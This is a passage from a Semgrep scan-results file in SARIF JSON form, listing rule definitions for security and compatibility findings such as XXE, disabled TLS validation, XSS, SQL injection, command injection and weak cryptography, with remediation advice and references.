CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dangerous client config used, ensure SSL verification"},"help":{"markdown":"Dangerous client config used, ensure SSL verification\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.rustls-dangerous.rustls-dangerous)\n - [https://docs.rs/rustls/latest/rustls/client/struct.DangerousClientConfig.html](https://docs.rs/rustls/latest/rustls/client/struct.DangerousClientConfig.html)\n - [https://docs.rs/rustls/latest/rustls/client/struct.ClientConfig.html#method.dangerous](https://docs.rs/rustls/latest/rustls/client/struct.ClientConfig.html#method.dangerous)\n","text":"Dangerous client config used, ensure SSL verification"},"helpUri":"https://semgrep.dev/r/rust.lang.security.rustls-dangerous.rustls-dangerous","id":"rust.lang.security.rustls-dangerous.rustls-dangerous","name":"rust.lang.security.rustls-dangerous.rustls-dangerous","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.rustls-dangerous.rustls-dangerous"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","id":"java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","name":"java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"help":{"markdown":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","id":"cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","name":"cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","id":"java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","name":"java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account."},"help":{"markdown":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards)\n - [https://developer.apple.com/documentation/uikit/uipasteboard?language=swift](https://developer.apple.com/documentation/uikit/uipasteboard?language=swift)\n - [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)\n","text":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account."},"helpUri":"https://semgrep.dev/r/swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","id":"swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","name":"swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts."},"help":{"markdown":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param)\n - [https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/pages_security_tips_xss.htm](https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/pages_security_tips_xss.htm)\n","text":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","id":"generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","name":"generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","id":"java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","name":"java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread()."},"help":{"markdown":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os1)\n","text":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os1","id":"python.lang.compatibility.python37.python37-compatibility-os1","name":"python.lang.compatibility.python37.python37-compatibility-os1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-os1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pg-sqli.pg-sqli)\n - [https://pg.uptrace.dev/](https://pg.uptrace.dev/)\n - [https://pkg.go.dev/github.com/go-pg/pg/v10](https://pkg.go.dev/github.com/go-pg/pg/v10)\n","text":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pg-sqli.pg-sqli","id":"go.lang.security.audit.sqli.pg-sqli.pg-sqli","name":"go.lang.security.audit.sqli.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family."},"help":{"markdown":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.system-command.dont-call-system.dont-call-system)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.system-command.dont-call-system.dont-call-system","id":"cpp.lang.security.system-command.dont-call-system.dont-call-system","name":"cpp.lang.security.system-command.dont-call-system.dont-call-system","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.system-command.dont-call-system.dont-call-system"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security."},"help":{"markdown":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-uuid-version.insecure-uuid-version)\n - [https://www.landh.tech/blog/20230811-sandwich-attack/](https://www.landh.tech/blog/20230811-sandwich-attack/)\n","text":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-uuid-version.insecure-uuid-version","id":"python.lang.security.insecure-uuid-version.insecure-uuid-version","name":"python.lang.security.insecure-uuid-version.insecure-uuid-version","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-uuid-version.insecure-uuid-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-os-command-injection](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-os-command-injection)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Foscmd](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Foscmd)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","id":"java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","name":"java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"help":{"markdown":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","id":"swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","name":"swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Oracle update is not restricted in $F()"},"help":{"markdown":"Oracle update is not restricted in $F()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control)\n - [https://medium.com/immunefi/sense-finance-access-control-issue-bugfix-review-32e0c806b1a0](https://medium.com/immunefi/sense-finance-access-control-issue-bugfix-review-32e0c806b1a0)\n","text":"Oracle update is not restricted in $F()"},"helpUri":"https://semgrep.dev/r/solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","id":"solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","name":"solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that 